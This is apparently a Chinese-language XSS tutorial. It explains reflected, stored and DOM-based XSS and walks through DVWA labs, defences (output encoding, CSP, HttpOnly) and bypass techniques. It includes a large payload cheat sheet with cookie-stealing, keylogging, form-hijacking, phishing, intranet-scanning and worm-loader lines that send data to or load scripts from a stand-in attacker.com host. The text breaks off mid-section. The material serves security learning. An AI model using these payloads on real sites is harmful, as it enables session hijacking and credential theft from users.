本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录太多了第一次放直接给文章吞了,就暂时不放目录了,先给个截图 

一、XSS-反射型
反射型 XSS(Reflected Cross-Site Scripting)
一、定义与核心特征
反射型 XSS 是一种非持久性的跨站脚本攻击。恶意脚本不存储在目标服务器上,而是作为请求参数的一部分(通常通过 URL 或表单提交)发送给服务器,服务器直接将未经净化(sanitize)的参数值反射到响应页面中,最终在受害者的浏览器中执行。
"反射"二字的来源:攻击者的恶意数据像镜子一样被服务器"照单全收"并立即弹回给浏览器。
二、攻击原理(分步图解)

关键点:
-
恶意脚本从未被写入数据库,全程仅存在于 HTTP 请求和响应中。
-
受害者的浏览器信任来自目标域名的响应,因此会执行其中的脚本。
三、典型代码示例(漏洞与利用)
3.1 存在漏洞的后端代码(PHP + HTML)
<?php $search = $_GET['q']; echo "<h2>您搜索的关键词是:</h2>"; echo "<p>" . $search . "</p>"; // 直接输出,未转义 ?>
3.2 攻击者构造的恶意链接
http://victim.com/search.php?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
受害者的浏览器会:
-
向
attacker.com发送包含其 Cookie 的请求 → 会话劫持 -
也可以直接弹窗钓鱼、伪造表单等
3.3 利用场景扩展(不仅仅是 URL 参数)
-
Referer 头反射 :某些网站会将
Referer值原样打印到页面。 -
User-Agent 反射:统计页面显示浏览器标识,未转义。
-
表单隐藏字段反射:POST 参数值被回显。
四、反射型 XSS 的危害
尽管反射型无法直接像存储型 XSS 那样"感染"其他用户,但结合社会工程学,它依然能造成严重破坏:
| 攻击目的 | 具体手段 |
|---|---|
| Cookie 劫持 | document.cookie 发送给攻击者 → 免登录进入账户 |
| 钓鱼欺骗 | 伪造登录框、中奖信息,诱骗用户输入密码 |
| 内网扫描 | 通过 JavaScript 的 fetch 探测内网 IP 和端口 |
| 键盘记录 | 监听 onkeydown 事件,记录敏感输入 |
| 会话固定攻击 | 在 URL 中植入特定 SESSIONID,然后诱使用户登录 |
| 强制下载恶意文件 | 使用 location.href 重定向到恶意软件下载链接 |
真实案例:2018 年某知名招聘网站反射型 XSS 漏洞曾导致求职者点击"简历预览"链接后,Cookie 被窃取,账户内简历信息被批量导出。
五、与其他 XSS 类型的对比
| 特性 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
|---|---|---|---|
| 恶意脚本存储位置 | 不存在(仅存在于请求中) | 服务器数据库/文件系统 | 不存在(纯客户端) |
| 触发时机 | 用户点击恶意链接 | 访问任何包含漏洞的页面 | 前端代码直接操作 location.hash 等 |
| 危害范围 | 单个用户(需要诱导) | 所有访问受影响页面的用户 | 当前页面上下文 |
| 检测难度 | 低(抓包可见参数反射) | 中(需检查存储点) | 高(需审计 JS 逻辑) |
| 典型修复方式 | 输出编码 + 输入过滤 | 输入过滤 + 输出编码 + 数据库存储转义 | 避免 innerHTML、eval,使用安全 API |
| 是否需要服务器配合 | 是(服务器反射参数) | 是(服务器存储) | 否(纯客户端) |
六、检测方法(手工 + 自动化)
6.1 手工测试步骤
-
注入检测字符串 :在 URL 参数或表单中插入
'、"、<、>等特殊字符,观察页面源码是否原样输出。 -
简单 payload :
<script>alert(1)</script> -
检查不同上下文:
-
HTML 属性内:
"><script>alert(1)</script> -
JavaScript 代码内:
'};alert(1);// -
CSS 内:
</style><script>alert(1)</script>
-
6.2 自动化扫描工具
-
Burp Suite (Intruder):用 Payload 字典批量发包,检测响应中的反射模式。
-
XSStrike:专门检测 XSS 的主动扫描工具,支持绕过 WAF。
-
AWVS / AppScan:商业漏洞扫描器,通常能发现反射型 XSS。
6.3 利用浏览器的开发者工具
-
在 Network 面板查看请求参数是否完整返回。
-
在 Elements 面板查看注入点是否被解析为 HTML/JS 标签。
七、防御措施(纵深防御)
7.1 输出编码(最有效)
根据输出位置进行相应的转义:
| 输出上下文 | 编码方式 | 示例 |
|---|---|---|
| HTML 标签之间 | HTML 实体编码 | < → <,> → > |
| HTML 属性值 | 十六进制编码或实体编码 | " → " |
<script> 内部 |
JavaScript 转义 | ' → \' 或 \x27 |
| CSS 内 | CSS 转义 | ; → \3B |
| URL 参数值 | URL 编码 | < → %3C |
安全函数示例:
PHP:
htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8')Java:
StringEscapeUtils.escapeHtml4()Python:
html.escape()
7.2 输入过滤与验证
-
白名单验证:数字、字母、特定格式(如日期)。
-
黑名单过滤 :移除
<script>、javascript:、onload=等危险字串(注意绕过风险)。
注意:输入过滤不能代替输出编码,因为攻击数据可能以不同方式进入服务器(如数据库存储后再输出)。
7.3 使用 HTTP 头增强防护
-
Content-Security-Policy (CSP):限制脚本来源,例如:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'可以阻止执行内联
<script>和eval()类代码。 -
X-XSS-Protection(已废弃但仍有部分浏览器支持):
X-XSS-Protection: 1; mode=block
7.4 设置 Cookie 的 HttpOnly 标志
Set-Cookie: sessionid=abc123; HttpOnly
这样,即使存在 XSS,攻击者也无法通过 document.cookie 窃取该 Cookie。
八、反射型 XSS 的局限性
-
需要用户交互:必须诱使用户点击恶意链接或提交恶意表单。
-
可能被短链接服务屏蔽:某些平台会检测可疑域名。
-
部分浏览器内置 XSS 过滤器(已逐渐废弃)可能拦截。
-
HTTPS 下的 Referer 头可能不携带完整 URL,影响攻击传递。
九、实战练习建议
在本地靶场环境中练习反射型 XSS 的发现与利用:
-
DVWA (XSS reflected):设置难度从 low 到 impossible,观察代码变化。
-
bWAPP (Buggy Web Application):包含反射型 XSS 的不同上下文实例。
-
PortSwigger Web Security Academy:提供在线反射型 XSS 实验,附解题说明。
十、靶场演示
在 DVWA 的 Reflected XSS 模块中,通过注入 <script>alert(1)</script> 使浏览器弹窗,验证反射型 XSS 漏洞的存在。
操作步骤
启动靶场并登录
-
确保 DVWA 环境已配置(如使用 XAMPP、Docker 或在线靶场)
-
访问 DVWA 首页,输入用户名/密码(默认
admin/password) -
在左侧菜单中将 Security Level 设置为
low
进入反射型 XSS 模块
- 点击左侧导航栏
XSS (Reflected)
观察正常输入
-
页面上方有一个输入框:"What's your name?"
-
正常输入任意字符串(例如
test),点击Submit按钮 -
页面会显示:
Hello test,URL 变成类似:http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=test#
注入恶意脚本
-
在输入框中输入:
<script>alert(1)</script>
-
点击
Submit按钮
触发漏洞
-
浏览器立即弹出一个对话框,内容为
1 -
同时 URL 变为:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(1)</script>
漏洞原理解析
查看 DVWA Low 级别的后端源码:
<?php header ("X-XSS-Protection: 0"); // 关闭浏览器自带的XSS过滤器 if( array_key_exists( "name", $_GET ) && $_GET[ "name" ] != NULL ) { echo '<pre>Hello ' . $_GET[ "name" ] . '</pre>'; } ?>

-
没有对
name参数做任何过滤或转义,直接将用户输入拼接到 HTML 中 -
输入
<script>alert(1)</script>后,最终返回给浏览器的 HTML 片段为:<pre>Hello <script>alert(1)</script></pre> -
浏览器解析 HTML 时,将
<script>视为 JavaScript 代码并执行
反射型 XSS 的关键特征
-
恶意脚本不存储在服务器,仅通过 URL 参数或表单传递
-
需要诱导用户点击特制链接 (例如:
http://dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>) -
服务器立即"反射"输入内容到响应页面
十一、总结
反射型 XSS 虽然不是最危险的 XSS 类型(存储型通常危害更大),但它由于出现频率高、检测简单、修复容易,是渗透测试入门必须掌握的漏洞之一。开发人员应当牢记:
所有用户输入的数据在输出到 HTML 之前都必须进行上下文敏感的编码,永远不要信任浏览器会无害化处理。
二、XSS-储存型
存储型 XSS(Stored Cross-Site Scripting)
一、定义与核心特征
存储型 XSS 是一种持久性的跨站脚本攻击。恶意脚本被永久存储在目标服务器上(如数据库、文件系统、评论框等),当其他受害者访问包含该恶意脚本的页面时,脚本会自动从服务器加载并在其浏览器中执行。
"存储"二字的来源:攻击者的恶意数据像"毒药"一样被保存在服务器中,每个访问该页面的用户都会"中毒"。
二、攻击原理(分步图解)

关键点:
-
恶意脚本持久化存储在服务器端,无需再次注入。
-
任何访问受影响页面的用户都可能成为受害者,攻击半径极大。
三、典型代码示例(漏洞与利用)
3.1 存在漏洞的后端代码(PHP + MySQL)
// 存储评论(写入数据库) $comment = $_POST['comment']; $query = "INSERT INTO comments (content) VALUES ('$comment')"; mysql_query($query); // 显示评论(从数据库读取) $result = mysql_query("SELECT content FROM comments"); while($row = mysql_fetch_array($result)){ echo "<div>" . $row['content'] . "</div>"; // 直接输出,未转义 }
3.2 攻击者提交的恶意评论
<script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
此后,所有访问该留言板的用户,浏览器都会自动向攻击者服务器发送其 Cookie。
3.3 常见存储点
-
评论区、论坛帖子、留言板
-
用户个人资料(昵称、签名、自我介绍)
-
商品评价、问答区
-
聊天记录(WebSocket 实时消息)
-
文件上传后的文件名/描述
四、存储型 XSS 的危害(对比反射型更严重)
| 危害类型 | 具体表现 |
|---|---|
| 大规模会话劫持 | 所有访问页面的用户的 Cookie 都被窃取,攻击者可批量登录账户 |
| 持久性网页挂马 | 恶意脚本长期存在,搜索引擎爬虫也可能触发,导致网站被标记为"危险" |
| 蠕虫传播 | 结合 CSRF(跨站请求伪造),恶意脚本可自动发帖、关注、私信,形成 XSS 蠕虫(如 2005 年 Samy 蠕虫) |
| 键盘记录 | 监听页面的所有按键输入,窃取密码、信用卡号等 |
| 钓鱼表单覆盖 | 动态生成假的登录框,覆盖在正常页面上,骗取用户凭证 |
| 内部网络扫描 | 利用受害者的浏览器对内网 IP 和端口进行探测,绘制内网拓扑 |
| 浏览器漏洞利用 | 通过脚本加载浏览器漏洞(如 Heap Spray)实现远程代码执行 |
著名案例:
Samy 蠕虫(2005):在 MySpace 上利用存储型 XSS,20 小时内感染超过 100 万用户。
Twitter(2010):通过"onmouseover"事件注入,导致用户鼠标划过即转发恶意推文。
五、与反射型 XSS 的对比
| 特性 | 存储型 XSS | 反射型 XSS |
|---|---|---|
| 恶意脚本存储位置 | 服务器数据库/文件系统 | 不存在(仅在请求中) |
| 触发方式 | 自动执行(访问即触发) | 需要诱导用户点击恶意链接 |
| 危害范围 | 所有访问受影响页面的用户 | 单个用户(需社工) |
| 持久性 | 永久(除非手动删除) | 一次性 |
| 是否需要钓鱼链接 | 否 | 是 |
| 检测难度 | 低(容易通过源码审计发现) | 中(需遍历参数) |
| 典型修复方式 | 输入过滤 + 输出编码 + 安全存储 | 输出编码 + CSP |
六、检测方法
6.1 手工测试步骤
-
找到用户输入并存储的位置(如评论框、个人签名)。
-
提交典型 payload:
<script>alert(1)</script> -
刷新页面或让其他用户访问,观察是否弹窗。
-
尝试绕过过滤(如大小写、双写、编码等)。
6.2 自动化工具
-
Burp Suite (Active Scan):自动提交 payload 并检查页面响应。
-
XSStrike:支持存储型 XSS 的检测与模糊测试。
-
AWVS / AppScan:商业扫描器中通常有存储型 XSS 检测模块。
6.3 需要注意的地方
-
存储型 XSS 可能不在同一个页面提交和显示(如管理员审核面板、用户个人页),因此需要遍历所有输出点。
-
有些存储型 XSS 需要特定权限 才可见(如管理员后台),普通用户注入的 payload 可能在后台被执行,形成**"二阶 XSS"**。
七、防御措施(纵深防御)
7.1 输出编码(最有效,与反射型相同)
| 输出上下文 | 编码方式 |
|---|---|
| HTML 标签之间 | HTML 实体编码(< → <) |
| HTML 属性值 | 十六进制编码或实体编码 |
<script> 内部 |
JavaScript 转义 |
| CSS 内 | CSS 转义 |
| URL 参数值 | URL 编码 |
安全函数示例:
PHP:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8')Java:
StringEscapeUtils.escapeHtml4()Python:
html.escape().NET:
WebUtility.HtmlEncode()
7.2 输入过滤与白名单
-
对富文本内容(如允许
<b>、<i>)使用安全的解析库(如 DOMPurify、HTML Purifier),剔除危险标签和事件属性。 -
限制输入长度,降低攻击载荷的复杂度。
7.3 使用 Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'
-
禁止执行内联脚本(
script-src 'unsafe-inline'被移除)。 -
限制脚本只能从特定域名加载。
7.4 Cookie 安全属性
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
-
HttpOnly:禁止 JavaScript 访问 Cookie。 -
Secure:仅通过 HTTPS 传输。 -
SameSite=Strict:限制跨站请求携带 Cookie。
7.5 其他加固措施
-
开启浏览器内置 XSS 过滤器(但作用有限,且在逐渐废弃)。
-
使用框架的自动转义功能(如 React 默认转义、Angular 的上下文安全)。
-
定期审查数据库中的用户输入,清理可疑脚本(作为事后补救)。
八、存储型 XSS 的绕过技巧(攻击者视角)
防御总是滞后于攻击,了解绕过手段有助于加强防护。
| 绕过方法 | 示例 | 对抗措施 |
|---|---|---|
| 大小写混淆 | <ScRiPt>alert(1)</ScRiPt> |
使用大小写不敏感的过滤器 |
| 双写关键字 | <scr<script>ipt>alert(1)</scr</script>ipt> |
递归过滤或使用专业解析库 |
| 编码绕过 | <script>alert(1)</script> |
在输出编码前进行输入标准化 |
| 事件属性 | <img src=x onerror=alert(1)> |
移除所有事件属性(如 on*) |
| CSS 表达式 | <div style="background:url('javascript:alert(1)')"> |
限制 style 属性或使用 CSP |
| SVG 标签 | <svg onload=alert(1)> |
白名单允许的标签(富文本场景) |
九、实战练习建议
在本地靶场中练习存储型 XSS 的发现与利用:
| 靶场 | 对应模块 |
|---|---|
| DVWA | XSS (Stored) -- Low/Medium/High/Impossible |
| bWAPP | XSS - Stored (Blog) |
| PortSwigger Web Security Academy | Stored XSS into HTML context |
| XSS Challenges | Stage #3 开始涉及存储型 |
推荐练习步骤:
-
Low 级别:直接注入
<script>alert(1)</script>,观察效果。 -
Medium 级别:尝试绕过
str_replace过滤(如<scr<script>ipt>)。 -
High 级别:学习
htmlspecialchars的作用,尝试寻找新的注入点。 -
Impossible 级别:理解为什么存储型 XSS 在这里被彻底防御。
十、靶场演示
在 DVWA 的 Stored XSS 模块中,通过留言板的 Name 字段注入 <script>alert(1)</script>,使得该脚本永久存储到数据库,每次访问页面时自动执行。
详细操作步骤
1、环境准备
-
确保 DVWA 安全级别设置为
low -
登录 DVWA(默认
admin/password) -
点击左侧导航
XSS (Stored)
2、观察正常功能
页面是一个留言板(Guestbook),包含两个输入框:
-
Name(名字)
-
Message(留言内容)
-
提交后,下方会显示所有访客的姓名和留言。

3、尝试直接注入(遇到长度限制)
-
在
Name输入框中输入:<script>alert(1)</script> -
发现输入框最多只能输入 10 个字符 (HTML 中
maxlength=10),无法完整输入 payload。
4、绕过前端长度限制
-
在页面上右键 → 检查元素(或按 F12 打开开发者工具)
-
找到
Name输入框对应的 HTML 代码:<input type="text" maxlength="10" size="30" name="txtName">
-
双击
maxlength="10",将其修改为一个较大的值(如100)或直接删除该属性。 -
修改后,输入框不再限制长度。
5、注入恶意脚本
-
在
Name输入框中输入:<script>alert(1)</script> -
Message输入框可以留空或填写任意内容(如1) -
点击
Sign Guestbook按钮提交。
6、触发存储型 XSS
-
提交后,页面刷新,留言板下方会显示:
Name: <script>alert(1)</script> Message: 1 -
同时浏览器立即弹出一个对话框,内容为
1(说明脚本已执行)
-
即使刷新页面或重新进入该模块,弹窗依然会出现 ------ 因为恶意脚本已存储在数据库中。
漏洞原理解析
查看 DVWA Low 级别的后端源码:
$message = trim($_POST['mtxMessage']); $name = trim($_POST['txtName']); // 对输入进行转义(防止SQL注入) $message = mysql_real_escape_string($message); $name = mysql_real_escape_string($name); // 插入数据库 $query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')"; // 显示留言时直接输出: // echo "<div>Name: " . $name . "</div>";

-
数据库转义 (
mysql_real_escape_string)只防止 SQL 注入,不转义 HTML 标签。 -
从数据库取出
$name后,直接拼接进 HTML 页面,没有使用htmlspecialchars()等输出编码函数。 -
因此
<script>标签被浏览器正常解析执行
十一、总结
存储型 XSS 是 XSS 类型中危害最大的一种,因为它无需用户交互即可影响大量用户。防御的核心原则是:
永远不要信任任何从数据库中取出的数据,在输出时必须进行上下文敏感的编码。
对于开发团队,建议采用框架级自动转义 + 内容安全策略(CSP) 作为主要防线,并定期进行安全审计和自动化扫描。
三、XSS-DOM型
DOM 型 XSS(DOM-based Cross-Site Scripting)
一、定义与核心特征
DOM 型 XSS 是一种纯客户端 的跨站脚本攻击。漏洞不在服务器端代码 ,而是由于前端 JavaScript 在操作 DOM 时,不安全地处理用户可控的输入 (如 document.location、document.referrer、location.hash 等),并将恶意数据直接写入 HTML 或执行,从而导致脚本在受害者浏览器中执行。
与反射型/存储型的本质区别 :恶意脚本不需要经过服务器,完全是浏览器端的安全问题。服务器返回的页面本身是正常的,但页面中包含的 JavaScript 代码存在缺陷。
二、攻击原理(分步图解)

关键点:
-
服务器响应完全不包含恶意代码。
-
恶意代码是在客户端由 JavaScript 动态生成并执行。
-
URL 中的
#(片段标识符)部分不会发送到服务器,因此难以通过日志检测。
三、典型漏洞代码示例
3.1 危险写法 1:直接操作 location.hash
// 漏洞代码:从hash中获取参数并直接写入HTML var name = location.hash.substring(1); // 获取 # 后面的内容 document.getElementById("welcome").innerHTML = "Hello " + name;
攻击者构造:http://victim.com/index.html#<img src=x onerror=alert(1)>
3.2 危险写法 2:使用 document.write
// 漏洞代码:从URL参数中读取并写入 var param = location.search.split('=')[1]; document.write(param);
攻击者构造:http://victim.com/index.html?name=<script>alert(1)</script>
3.3 危险写法 3:使用 eval 或 setTimeout 拼接字符串
// 漏洞代码:动态执行代码 var callback = location.hash.substring(1); eval(callback); // 如果传入 "alert(1)" 就会执行
3.4 危险写法 4:修改 innerHTML 或 outerHTML
var userInput = location.search.split('=')[1]; document.getElementById("output").innerHTML = userInput;
四、DOM 型 XSS 的常见注入源
| 来源 | 说明 | 示例 |
|---|---|---|
document.URL |
完整 URL | 攻击者可在 URL 任意部分注入 |
document.location / location.href |
当前 URL | 同上 |
location.hash |
URL 中 # 后的部分 |
最常用,因为不发送到服务器 |
location.search |
URL 中 ? 后的参数 |
某些前端 SPA 会读取 |
document.referrer |
来源页面 URL | 可被攻击者伪造 |
document.cookie |
虽然不常见,但若被恶意写入再读取也会有问题 | 跨子域风险 |
五、与反射型/存储型 XSS 的对比
| 特性 | DOM 型 XSS | 反射型 XSS | 存储型 XSS |
|---|---|---|---|
| 恶意代码位置 | 客户端 URL(hash/search) | 服务器响应中 | 服务器数据库 |
| 是否需要服务器参与 | 否(仅有静态资源) | 是(服务器反射) | 是(服务器存储+输出) |
| 检测方法 | 需要审计 JavaScript 代码 | 抓包看参数反射 | 提交后看持久化效果 |
| WAF 能否防御 | 难,因为流量正常 | 容易,可检测参数特征 | 容易,可检测存储内容 |
| 修复方式 | 前端 JS 安全编码 | 后端输出编码 | 后端输出编码/输入过滤 |
| 日志可见性 | 无(hash 不记录) | 有(URL 全路径) | 有(数据库内容) |
六、DOM 型 XSS 的危害
与反射型/存储型类似,但由于它完全绕过服务器,有以下特殊危害:
-
隐蔽性极高 :
#后的内容不会出现在服务器日志,难以溯源。 -
可配合前端路由 :现代 SPA 应用(React、Vue、Angular)中,若使用不安全的
innerHTML或dangerouslySetInnerHTML,极易出现 DOM XSS。 -
绕过常见防护 :服务器端的
htmlspecialchars()和 WAF 规则无法防御,因为它们根本看不到恶意数据。 -
影响范围:单次点击(同反射型),但若与存储结合(如将恶意链接保存在数据库中),可变成存储型 DOM XSS。
七、检测方法
7.1 手工测试
-
在 URL 的
#后插入简单 payload:http://victim.com/page.html#<script>alert(1)</script> -
观察是否有弹窗。
-
尝试不同位置:
?param=<script>alert(1)</script>、#、以及修改document.referrer(通过钓鱼页面)。
7.2 查看前端代码
-
打开浏览器开发者工具 → 查看页面中是否存在以下危险函数:
-
innerHTML、outerHTML -
document.write() -
eval()、setTimeout()、setInterval()带动态参数 -
location.hash/location.search被直接使用
-
7.3 自动化工具
-
DOMinator:专门检测 DOM XSS 的工具。
-
Burp Suite 的 DOM Invader:内置的 DOM XSS 检测模块。
-
Google 的 DOM Snitch:浏览器扩展,监控危险 sink 函数。
八、防御措施
8.1 避免使用危险的 sink 函数
-
尽量使用
textContent或innerText替代innerHTML。 -
避免使用
document.write()(已被现代开发模式淘汰)。 -
禁用
eval()、new Function(),或严格审查传入的字符串。
8.2 使用安全的 API
-
DOMPurify:对 HTML 内容进行净化,剔除危险标签和属性。
-
sanitize-html(Node.js 端)或前端类似库。
8.3 输出编码(前端也要做)
// 自定义转义函数 function escapeHTML(str) { return str.replace(/[&<>]/g, function(m) { if (m === '&') return '&'; if (m === '<') return '<'; if (m === '>') return '>'; return m; }); } document.getElementById("out").textContent = escapeHTML(userInput);
8.4 启用 CSP(内容安全策略)
-
CSP 可以限制
eval()的执行,并禁止内联脚本。 -
使用
strict-dynamic和 nonce 机制。
8.5 对 URL 参数进行严格校验
- 如果必须使用
location.hash,应采用白名单方式,而不是直接插入 DOM。
九、DOM 型 XSS 的绕过技巧(攻击者视角)
| 绕过方法 | 示例 | 对抗措施 |
|---|---|---|
使用 # 绕过 WAF |
http://victim.com/#<script>alert(1)</script> |
前端转义 + CSP |
利用 javascript: 伪协议 |
<a href="javascript:alert(1)"> |
限制链接 scheme |
| 编码混淆 | #\u003cscript\u003ealert(1)\u003c/script\u003e |
前端先解码再转义 |
| 利用 DOM 属性 | #<img src=x onerror=alert(1)> |
白名单标签/属性 |
| 绕过基于关键字的过滤 | #<ScRiPt>alert(1)</ScRiPt> |
大小写不敏感匹配 |
十、实战练习(DVWA DOM XSS)
-
设置安全级别为
low。 -
模块中通常有一个下拉选择框(语言选择),URL 类似:
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English
-
观察前端 JavaScript(查看源代码):
var lang = document.location.href.split('default=')[1]; document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
-
构造恶意 URL:
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>
-
点击提交,页面会弹出
1。(注意这里的<script>被document.write写入,浏览器执行)
Medium/High 级别 会尝试过滤 <script> 等关键字,可以使用 <img src=x onerror=alert(1)> 或大小写绕过。
十一、总结
DOM 型 XSS 是前端安全的核心问题,随着单页应用(SPA)的流行,它的危害也在增加。防御的关键在于:
-
永远不要信任客户端的数据源(URL、hash、referrer)。
-
使用安全的 DOM 操作方法(textContent 代替 innerHTML)。
-
实施 Content Security Policy 作为最后一道防线。
四、XSS-常用payload
以下汇总了 XSS 攻击中常用的有效载荷(Payload),按功能和应用场景分类。所有内容仅供安全测试和学习使用,请勿用于非法用途。
一、基础验证 Payload(用于确认漏洞存在)
| Payload | 说明 |
|---|---|
<script>alert(1)</script> |
最简单的弹窗,测试基本执行 |
<script>alert(document.domain)</script> |
弹出当前域名 |
<script>alert(document.cookie)</script> |
弹出当前页面的 Cookie(验证能否窃取) |
<script>console.log('XSS')</script> |
在控制台输出,隐蔽性强 |
<img src=x onerror=alert(1)> |
利用图片加载失败触发,绕过 <script> 过滤 |
<svg onload=alert(1)> |
SVG 标签直接加载执行 |
<body onload=alert(1)> |
页面加载时触发 |
<input onfocus=alert(1) autofocus> |
自动聚焦触发 |
<iframe src="javascript:alert(1)"> |
利用 javascript: 伪协议 |
二、窃取 Cookie 与会话劫持
| Payload | 说明 |
|---|---|
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script> |
发送 Cookie 到攻击者服务器 |
<img src=x onerror="new Image().src='http://attacker.com/steal?c='+document.cookie"> |
通过图片请求外传 Cookie |
<script>document.location='http://attacker.com/steal?c='+document.cookie</script> |
重定向到攻击者网站并带上 Cookie |
<script>navigator.sendBeacon('http://attacker.com/steal', document.cookie)</script> |
使用 sendBeacon API,即使页面关闭也会发送 |
<script>WebSocket('ws://attacker.com:8080').send(document.cookie)</script> |
通过 WebSocket 外传数据 |
注意 :如果 Cookie 设置了
HttpOnly,则document.cookie无法读取,但其他敏感信息(如页面内容、token)仍可能被窃取。
三、键盘记录与表单劫持
| Payload | 说明 |
|---|---|
<script>document.onkeypress=function(e){fetch('http://attacker.com/log?k='+e.key)}</script> |
记录用户按键并发送 |
<script>document.getElementById('login').onsubmit=function(){fetch('http://attacker.com/steal',{method:'POST',body:new FormData(this)})}</script> |
劫持表单提交,窃取用户名/密码 |
<input type="password" name="fake" onchange="fetch('http://attacker.com?p='+this.value)"> |
伪造密码输入框 |
四、内网探测与端口扫描
| Payload | 说明 |
|---|---|
<img src="http://192.168.1.1:80" onerror="alert('内网IP存活')"> |
探测内网主机是否在线 |
<script>fetch('http://192.168.1.1:8080').catch(e=>console.log('端口关闭'))</script> |
扫描内网服务端口 |
<script>new Image().src='http://10.0.0.1:22'</script> |
利用图片加载超时判断端口开放 |
五、钓鱼与欺骗
| Payload | 说明 |
|---|---|
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">钓鱼内容</div> |
覆盖整个页面,伪造登录框 |
<script>document.body.innerHTML='<form action="http://attacker.com/phish"><input name=user><input type=password><input type=submit>'</script> |
完全替换页面内容为钓鱼表单 |
<a href="javascript:alert('钓鱼链接')">点击领奖</a> |
伪装成正常链接 |
六、绕过长度限制
| Payload | 说明 |
|---|---|
<svg/onload=alert(1)> |
利用自闭合标签,减少字符 |
<script/src=//attacker.com/x.js> |
加载外部脚本,绕过长度限制 |
<body/onload=alert(1)> |
极短 payload(17 字符) |
<q/oncut=alert(1)> |
利用剪贴板事件(短且隐蔽) |
七、绕过标签过滤(WAF 绕过技巧)
7.1 大小写混淆
<ScRiPt>alert(1)</sCrIpT>
7.2 双写关键字
<scr<script>ipt>alert(1)</scr</script>ipt>(过滤后留下<script>alert(1)</script>)
7.3 使用 HTML 实体编码
<script>alert(1)</script>
7.4 使用 Unicode 编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
7.5 使用 javascript: 伪协议
-
<a href="javascript:alert(1)">click</a> -
<iframe src="javascript:alert(1)">
7.6 使用事件属性(无需 <script> 标签)
| 事件 | 示例 |
|---|---|
onerror |
<img src=x onerror=alert(1)> |
onload |
<body onload=alert(1)> |
onmouseover |
<div onmouseover=alert(1)>hover</div> |
onfocus |
<input onfocus=alert(1) autofocus> |
onclick |
<button onclick=alert(1)>click</button> |
onauxclick |
<button onauxclick=alert(1)>右键点击</button> |
onkeydown |
<input onkeydown=alert(1)> |
7.7 利用 CSS 表达式(仅旧版 IE)
<div style="width:expression(alert(1))">
7.8 利用 <meta> 刷新
<meta http-equiv="refresh" content="0;javascript:alert(1)">
八、DOM 型 XSS 专用 Payload
| Payload | 利用上下文 |
|---|---|
#<script>alert(1)</script> |
通过 location.hash 注入 |
?default=<script>alert(1)</script> |
通过 location.search 注入 |
javascript:alert(1) |
点击链接执行(需有 a 标签) |
"><svg/onload=alert(1)> |
闭合 HTML 属性后注入 |
九、存储型 XSS 持久 Payload
-
XSS 蠕虫:通过脚本自动发帖、关注、评论,感染更多用户。
// 假设留言表单的提交函数是 post_comment() var script = document.createElement('script'); script.src = 'http://attacker.com/xss_worm.js'; document.body.appendChild(script); // worm.js 中包含自动提交恶意留言的代码 -
后台管理盲打:注入到后台管理页面,窃取管理员 Session。
<script>new Image().src='http://attacker.com/steal?url='+location.href+'&cookie='+document.cookie</script>
十、测试 Payload 速查表
以下 Payload 可按顺序测试目标是否存在 XSS:
-
<script>alert(1)</script> -
<img src=x onerror=alert(1)> -
<svg onload=alert(1)> -
<body onload=alert(1)> -
<input onfocus=alert(1) autofocus> -
<iframe src="javascript:alert(1)"> -
<a href="javascript:alert(1)">click</a> -
"><script>alert(1)</script> -
' onerror=alert(1) src=x -
javascript:alert(1)
注意事项
-
HttpOnly Cookie 无法通过
document.cookie读取,但其他敏感信息(如页面中的 token、CSRF token)仍可能被窃取。 -
CSP 可以阻止大部分内联脚本和
eval(),需要使用更复杂的绕过(如利用现有白名单资源、base-uri等)。 -
所有测试必须在授权环境下进行,未经授权使用这些 Payload 属于违法行为。
五、XSS-防御和绕过
XSS 的攻防是一场持续的博弈。防御方需要层层设防(纵深防御),而攻击方则不断寻找过滤规则中的漏洞。以下从防御措施 和绕过技术两个维度详细展开,所有内容仅供授权安全测试使用。
一、XSS 防御体系(多层次防御)
1. 输出编码(最核心、最有效)
无论用户输入如何,在输出到 HTML 页面时,根据上下文进行正确的编码,使恶意代码失去执行能力。
| 输出上下文 | 编码方式 | 示例(PHP) |
|---|---|---|
| HTML 标签之间 | HTML 实体编码 | `htmlspecialchars($input, ENT_QUOTES |
| HTML 属性值(双引号内) | 十六进制或实体编码 | " 或 " |
| HTML 属性值(单引号内) | 十六进制编码 | ' |
<script> 内部 |
JavaScript 转义 | addslashes() 或自定义 \xHH 转义 |
| CSS 内部 | CSS 转义 | 将 ; 转为 \3B 等 |
| URL 参数 | URL 编码 | rawurlencode() |
关键原则:不要试图"过滤"输入,而要"编码"输出。输入过滤很可能被绕过,但正确的输出编码能确保任何危险字符都变成无害的文本。
2. 内容安全策略(CSP)
CSP 是浏览器提供的最后一道防线,可以极大限制 XSS 的影响。
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
推荐配置(严格模式):
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';
重要指令:
-
script-src 'nonce-<random>':仅允许包含特定 nonce 的内联脚本执行。 -
script-src 'strict-dynamic':信任已加载的脚本动态创建的其他脚本。 -
object-src 'none':禁止 Flash 等插件。 -
base-uri 'self':限制<base>标签,防止脚本路径劫持。
CSP 虽然强大,但配置复杂且可能破坏原有功能,需要逐步部署。
3. 输入过滤与白名单
